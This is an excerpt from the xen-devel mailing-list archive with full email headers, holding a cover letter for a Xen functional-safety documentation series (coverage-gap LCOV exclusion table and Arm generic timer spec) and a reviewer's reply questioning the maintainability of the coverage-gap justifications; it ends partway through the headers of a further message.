 15.21.245.5 via Frontend Transport; Tue, 21 Jul 2026 12:47:40 +0000
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Tue, 21 Jul
 2026 07:47:40 -0500
Received: from xcbayankuma40.xilinx.com (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via
 Frontend Transport; Tue, 21 Jul 2026 07:47:39 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=NIhAN/yL8h3vrlWyHu6j7OJDv2xbtmuaPlA7KbBUcD00CCpBo0vjTDcPtO2rkNpXQQpr/3qgakVfvj2NIgjfRiec7B7UkuJOqSnF7+cb0e0aBWHz24DfoszFpMfMKqOLSEjwKv4++1pseNYGvH9+nEPjfwOxyYsvgqiYucqRNA+mXdDXJRNlYfakUmxwJZYm2ojX9U9r8dG6921Yqipjd5Y5svkyKuCJ91khXdm4n6D6T2tK6BuwSzE3UFC0UqvnijIXH2CFAlJxwM6NGCyCOIzvC5pdO3M1X+TZwgpX05VEixpoYPHdjuNbUu9+ZW4FMLRj5om2WMHTEQYS6TOhcQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=9Y0uwUT0v2bBAqwuFW9QXjD3kDY6jx7rvuT+bH/aqLw=;
 b=qjkFOz1G/U1cGSDrFUxtlMuecezgDyE5j7zoi5XANE4JOUXZ2cOnEjig2cUeVc51BlEIJ6mzvsS/iDP84SlhwJhlrUHPCqyFKPxETWY3HXSp5fHFZJbwOTQxGg3OPqjVOyC33YwaR1gSpkwoiicCFAxjt/Gv+5GQa1ngStAuvcBkEag2wwqRHE08mAbrJxicxHjpqHGYQtzVH5b0TAaMcHkirhYRHroehZ2/JutgHJJ47Q26l9EypBxbwGGrIuHjNTL5L0wPeFUesrvx0hNkUKr3oXlo4E9rBlXljFumGG3Hq/5LD42UNplnvI0ryDHe8U4MCuSgQV4bKuxUm/M/dQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=9Y0uwUT0v2bBAqwuFW9QXjD3kDY6jx7rvuT+bH/aqLw=;
 b=tpHGHFRemjc8Tj5ynIRhUZacZa125QOsMsv3U/sbDKCbRZ7JwQ/YsUMUFo7l6/h21amWVSQbT9cwVAGs2Cy2C+0V+Fhv21joymglTOwMdmYtKxzFMHL1IB6PAJUKONEl5p793eY/VsQDdePOO8SdF7XcDPA8VQCzzY6ptzfY9/Q=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
From: Ayan Kumar Halder <ayan.kumar.halder@amd.com>
To: <xen-devel@lists.xenproject.org>
CC: Ayan Kumar Halder <ayan.kumar.halder@amd.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>, "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>, Artem Mygaiev
	<artem_mygaiev@epam.com>, <matthew.l.weber3@boeing.com>,
	<harunobu.kurokawa.dn@renesas.com>
Subject: [XEN PATCH v1 0/2] docs/fusa: coverage-gap justifications and generic timer arch spec
Date: Tue, 21 Jul 2026 13:47:27 +0100
Message-ID: <20260721124729.868630-1-ayan.kumar.halder@amd.com>
X-Mailer: git-send-email 2.25.1
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH2PEPF0000013C:EE_|BL1PR12MB5803:EE_
X-MS-Office365-Filtering-Correlation-Id: b660d24e-f4ed-47cd-6491-08dee7264071
X-LD-Processed: 3dd8961f-e488-4e60-8e11-a82d994e183d,ExtAddr
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
 BCL:0;ARA:13230040|23010399003|82310400026|1800799024|376014|36860700016|10067099003|6133799003|56012099006|11063799006|5023799004|18002099003;
X-Microsoft-Antispam-Message-Info:
 8aml1hDxzncFwLS5ILzchQI7/m0Fi9sJVhHmed7e0CwiG36kPHmq7qNKCvH3iQ/6mYkuSTM4hqXEe/xdaRQGb+GsqttQBMXmeErn+vekmEsYxFWTDNzy0OrHrDm6WammXKOVaqq/ypjBoAsTImRB0wUdgmepemYbPJHQgnvu3utwY6O3c7moeCJjXlpuFlOYtL3tpGiTNkjwbGuZZ8E7dO/a2VXadWk/HD12kEmtcu7g5GlWvbhjNNKignMO/ncifuutiP7FjPBqK2pHxc7YRMEqSgdTE+KCpSrg7G8MAaRnWHQh77ZrYnFhrV2mjTL725+0MpHQd9fZ1T52aCLXo2juecqXCyLKodqEPCtDGgzHjAhJXj79YeZMNE+HlPXH3t4SoCCqLG/VtwB6LGkJEsogj8/07Tnhs+LORh+0bcmx1WH9e8K1JsU2M+So+J7HGkRPd5oM99cx9tNJRNdwBeT+K///nKVYfLCmCaKV2hijBsxNQOJYmq/0NIayZlOJr0tEQ9GoUgEEteFRIT+kTxxBbEZ8SzETgoeTkLavq7zWrbA9zPTl30an+12ltRgzl2W7doQ1fCmNxW9rzJNUd+yYh3oQ6sUhpnu+wdTQg1X8qrS7y8wDu8dQ5rwBuwX6O3sl4Sg9Pyb24dW7Lp3FTJx6gnrWKexdJhHSRMOdA8RokiO+thWxLNVzosckiegCQVs8P2wte90jXu1T6BFb4w==
X-Forefront-Antispam-Report:
 CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(23010399003)(82310400026)(1800799024)(376014)(36860700016)(10067099003)(6133799003)(56012099006)(11063799006)(5023799004)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
 miNYHw9lvp8eK9268bdXxc5pATika+xvnK5DcX+oVgzPuR8lVscsAN30AkRZ+MGtw+ohx6/HvO3IR33y7+7g5Df8vtjDyxJ7r4CWmSQJuPZWk4JjPuGZLdS4hrbv3gqcIQJa0d30mUhwbrW31QqXkGWmfrPjZ7Tt2W6wGicAIgXlU+bXwbRt8nOyGzdMZNoZAUrJduGP35xDIgiDi80F58GpfhIvQqosAM2zx9nuZ+sYqUHQ/DcXJgWnzGIqq6AlR2lIoKF1PuBbd2sopS6zIOpl8K83MYoptd/ymAz1qMQ8r6i3KsL05ITWyau5cVAWVkGubsqMvot9aVy1jzgxOw3nplD/RMQb0Xcbzh3HnSE1o7TxtHQ465rkznMrsLDTsorrN3mOlK4uiVRziTFR7GS80Bl+x4EMar+EX8HgfoJB9A30lByMI2XOXrX4AMS1
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 21 Jul 2026 12:47:40.8604
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: b660d24e-f4ed-47cd-6491-08dee7264071
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource: CH2PEPF0000013C.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BL1PR12MB5803
X-purgate-ID: tlsNG-720697/1784638073-F10A02AC-6F2EB5B7/0/0
X-purgate-type: clean
X-purgate-size: 1881

This series adds two pieces of Functional Safety documentation under
docs/fusa/.

Patch 1 introduces docs/fusa/coverage_gap.rst, a table that records the
code regions excluded from the coverage report because they are
unreachable by design. Code that no test can reach (for example a
defensive default arm of a switch that no caller can reach) would
otherwise show up as a permanent coverage gap even though it is correct.
Each exclusion is given a stable id, the excluded source location, and a
justification stating why the code is unreachable and what would make it
reachable again, so that a genuine gap is never hidden behind an LCOV
marker. The two vGICv3 default arms are documented as the first entries.

Patch 2 adds the arm64 generic timer architecture specification under
docs/fusa/architecture_specs/. An architecture spec is a prose document
that explains how Xen uses a piece of hardware -- what the hardware
does, which parts Xen drives directly, which parts it emulates for a
guest, and how they interact over the lifetime of a VM. This one covers
the Arm Generic Timer and traces to the existing
XenSwdgn~arm64_generic_timer_* design requirements.

Both documents are wired into the docs/fusa Sphinx toctree.

Ayan Kumar Halder (2):
  docs/fusa: add coverage_gap.rst tabulating vGICv3 LCOV exclusions
  docs/fusa: add generic timer arch spec with ASCII diagrams

 .../fusa/architecture_specs/generic_timer.rst | 215 ++++++++++++++++++
 docs/fusa/architecture_specs/index.rst        |   9 +
 docs/fusa/coverage_gap.rst                    |  41 ++++
 docs/fusa/index.rst                           |   2 +
 4 files changed, 267 insertions(+)
 create mode 100644 docs/fusa/architecture_specs/generic_timer.rst
 create mode 100644 docs/fusa/architecture_specs/index.rst
 create mode 100644 docs/fusa/coverage_gap.rst

-- 
2.25.1



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 13:01:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 13:01:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367794.1617468 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmA5g-0006rP-1z; Tue, 21 Jul 2026 13:00:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367794.1617468; Tue, 21 Jul 2026 13:00:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmA5f-0006rI-UA; Tue, 21 Jul 2026 13:00:55 +0000
Received: by outflank-mailman (input) for mailman id 1367794;
 Tue, 21 Jul 2026 13:00:54 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wmA5e-0006r8-IQ
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 13:00:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmA5d-00DFvJ-9v
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 15:00:53 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f6d80-5cb7-0a2a0a5109dd-0a2a4504d296-14
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 15:00:53 +0200
Received: from [209.85.221.51] (helo=mail-wr1-f51.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f6d84-b57f-0a2a45040019-d155dd33e9d4-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 15:00:53 +0200
Received: by mail-wr1-f51.google.com with SMTP id
 ffacd0b85a97d-47f7027ca11so1888734f8f.3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 06:00:53 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63e49ce4sm39319639f8f.8.2026.07.21.06.00.49
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 21 Jul 2026 06:00:50 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784638852; x=1785243652; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=69N38Aw2z0X5smYv/d32sZOgwX6sGna2y0OsrJNqOyc=;
        b=O22UMnii55dmBVJhle15AF0icpMKzlTpGqsy24U1IwZWOOthIarI7OQmOZ6L7h7x29
         lXlLPPKcaHU10RZQROSW6o4Uf8RB09eoaBMJN8NRIl6ExevsJV1d78sEtOH4uHr5DwgO
         eVDjSdCf2To9r5oJD91RdYuqjIy6ICHaYJ0tCXdrvE0L3OEP86HcWRnmkQGYSkMVW2ZE
         HTHZQDPrGvw0Zu+45PYejsB+qofBTfJPGhlrSsW9awgE6W9VNC0tzpgDGDBXxdWlh6bP
         2tXXN2sssAcziQjSokQa/F5MxmLbra5jPnsfZA8YhcNc27u+tntIl2QxZb7TgrwaJeBY
         NIaA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784638852; x=1785243652;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=69N38Aw2z0X5smYv/d32sZOgwX6sGna2y0OsrJNqOyc=;
        b=WjFJLHZ9pfGn2yTncXCLaA1xJhyCRzqkJ15vwFlanIxJ2NiOnn+KBJmrsBnhDFUadb
         A/+4uHDCZH+E9b6oJjQlG67mYkvXvAv//pup7PYpJR4kM92PO5D9QUpe6EnFJx5DTeph
         xIRNtcLUuzVyit3ti+OpO5fws9Yeo5/dDUzAcVUWdtZ1XhKvAnSUTLhjI+6v3sluG2Tx
         TaU8mQmN2chG4KUA2GfcY+815/4Y9BG3zZWj0gSWVuRQ/L/SzxrgbIWcnyU+AwFJ4Z6l
         QeOrY9U4ZBBXlx3SeKMUV2WwHY+1vwY0tipwts71swobSZ9ofB1Ra4jykSC1tfPfqwAb
         I/bg==
X-Forwarded-Encrypted: i=1; AHgh+RqKHqxmwu0dy/EjeogM+60HFDeqpd8+u9tqqG+gJYop2Y8ztpy/dfb+goRj6jELlMZMp4tZ/aW3cVY=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwzexYkyUVJIqtc4FEz45vD49io9CdepGUQbg+iiopu6cdBtHzY
	BycX36S8rMZjrMROKMXfhmc7jQmJyXHbw1VuC7+ZVbKGEWjA1hBHoIOq9b+oCDQYmQ==
X-Gm-Gg: AR+sD13VcyFsJFfTAB3xTCjoqqNVAqSooz2v/N63kpX7VJ0/vfIUYWtWU573i0NBRf9
	rk/ZQXjtYGHZ6qeAkXtdY96yAjF/RO+gPmWFsHMJ7zh5es8TMF5LzKJ3xx2UyrvF0+2/RLUrCXu
	CwSn7q3TH3kEsMwXeG9FagUTvGD7nwDdlWTyD0IOFBl490P03Pmfx0Wzh5hTyAbYYGr+xy6wEYJ
	eRdXPmgXLcAvnZiGbuDBTomF1N0dZD6oppmRyNhNQXg5gss9/H9nUnhwKmWKGOE0hWUYMy7K6qE
	MMkiZRD3aOQpTT3FgPoLJ5y2bnEvvnEcwGu+/bmw4PLV3TTWhWYWDZMf0IjEd85VkmSqYGRK1L4
	0C9Y6LToLrp9F2KCsyqwHtJH3qNlpgALQM347cm0po/35w24dyH+E1I832ToDE3EetNonAxJfcv
	O7Par+r8ACMWySaFTLFiNfUzrTnxHUWc0T6MgyE3qGk0zYG9YfPSvIFq/eKQMfPEa41LkuUzjPy
	mC5
X-Received: by 2002:a05:6000:2084:b0:475:f0f0:9ec9 with SMTP id ffacd0b85a97d-47f6233b524mr21485293f8f.52.1784638850775;
        Tue, 21 Jul 2026 06:00:50 -0700 (PDT)
Message-ID: <ed40f4f0-f26e-469f-95de-5077cb4218f0@suse.com>
Date: Tue, 21 Jul 2026 15:00:48 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [XEN PATCH v1 1/2] docs/fusa: add coverage_gap.rst tabulating
 vGICv3 LCOV exclusions
To: Ayan Kumar Halder <ayan.kumar.halder@amd.com>
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Artem Mygaiev <artem_mygaiev@epam.com>, matthew.l.weber3@boeing.com,
 harunobu.kurokawa.dn@renesas.com, xen-devel@lists.xenproject.org
References: <20260721124729.868630-1-ayan.kumar.halder@amd.com>
 <20260721124729.868630-2-ayan.kumar.halder@amd.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260721124729.868630-2-ayan.kumar.halder@amd.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1784638853-C34C3B50-E53D2007/0/0
X-purgate-type: clean
X-purgate-size: 1907

On 21.07.2026 14:47, Ayan Kumar Halder wrote:
> --- /dev/null
> +++ b/docs/fusa/coverage_gap.rst
> @@ -0,0 +1,41 @@
> +.. SPDX-License-Identifier: CC-BY-4.0
> +
> +Coverage gaps
> +=============
> +
> +This table documents the ``LCOV_EXCL`` regions in the Xen source. Each excluded
> +region is tagged in the source with a ``COV-GAP-<COMPONENT>-NNN`` marker that
> +matches an entry below. A region is excluded from the coverage report only when
> +it is unreachable by design, so it can never be reported as covered.
> +
> +.. list-table::
> +   :header-rows: 1
> +   :widths: 15 25 10 12 38
> +
> +   * - coverage_gap_id
> +     - file
> +     - line numbers
> +     - SHA

What specific algorithm? Or wait, this isn't a hash of the file, but a commit
hash. This imo wants clarifying.

> +     - justification
> +   * - COV-GAP-VGICV3-001
> +     - xen/arch/arm/vgic-v3.c
> +     - L796-L800
> +     - 351d41e8aecc3f7566a0baa7b4066d06dedd7113
> +     - Both callers select the register offset with their own ``switch`` and
> +       forward only offsets the handler has an explicit ``case`` for, so no
> +       forwarded offset can fall through to ``default:``. (The SGI_base-frame
> +       ``GICR_*`` offsets one caller forwards are numerically equal to the
> +       ``GICD_*`` offsets the handler cases on.) The ``default:`` is kept as
> +       defensive programming; it becomes reachable only if a caller is
> +       modified to forward an offset the handler has no ``case`` for, at
> +       which point this exclusion must be removed.

All of this is liable to go stale. Once it has gone stale, this information
is pretty much useless aiui. And it may well be worse than that, if the
"must be removed" isn't actually followed (perhaps simply because there's
no link from the source to here). How's all of this going to be helpful
longer term?

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 13:11:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 13:11:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367804.1617475 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmAFR-00017r-St; Tue, 21 Jul 2026 13:11:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367804.1617475; Tue, 21 Jul 2026 13:11:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmAFR-00017k-QA; Tue, 21 Jul 2026 13:11:01 +0000
Received: by outflank-mailman (input) for mailman id 1367804;
 Tue, 21 Jul 2026 13:11:00 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ayan.kumar.halder@amd.com>) id 1wmAFQ-00017d-0l
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 13:11:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmAFP-002YKJ-3Z
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 15:10:59 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a5f6fdc-5cb7-0a2a0a5109dd-0a2a450a93b8-22
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 15:10:58 +0200
Received: from [52.101.43.14]
 (helo=SJ2PR03CU001.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a5f6fe0-f2d2-0a2a450a0019-34652b0edc2e-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 15:10:58 +0200
Received: from BL1PR13CA0086.namprd13.prod.outlook.com (2603:10b6:208:2b8::31)
 by SJ2PR12MB8874.namprd12.prod.outlook.com (2603:10b6:a03:540::11)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.18; Tue, 21 Jul
 2026 13:10:52 +0000
Received: from BN1PEPF00004685.namprd03.prod.outlook.com
 (2603:10b6:208:2b8:cafe::46) by BL1PR13CA0086.outlook.office365.com
 (2603:10b6:208:2b8::31) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.10 via Frontend Transport; Tue,
 21 Jul 2026 13:10:51 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 BN1PEPF00004685.mail.protection.outlook.com (10.167.243.86) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.245.5 via Frontend Transport; Tue, 21 Jul 2026 13:10:51 +0000
Received: from satlexmb10.amd.com (10.181.42.219) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Tue, 21 Jul
 2026 08:10:50 -0500
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb10.amd.com
 (10.181.42.219) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Tue, 21 Jul
 2026 08:10:50 -0500
Received: from [10.71.198.170] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Tue, 21 Jul 2026 08:10:49 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
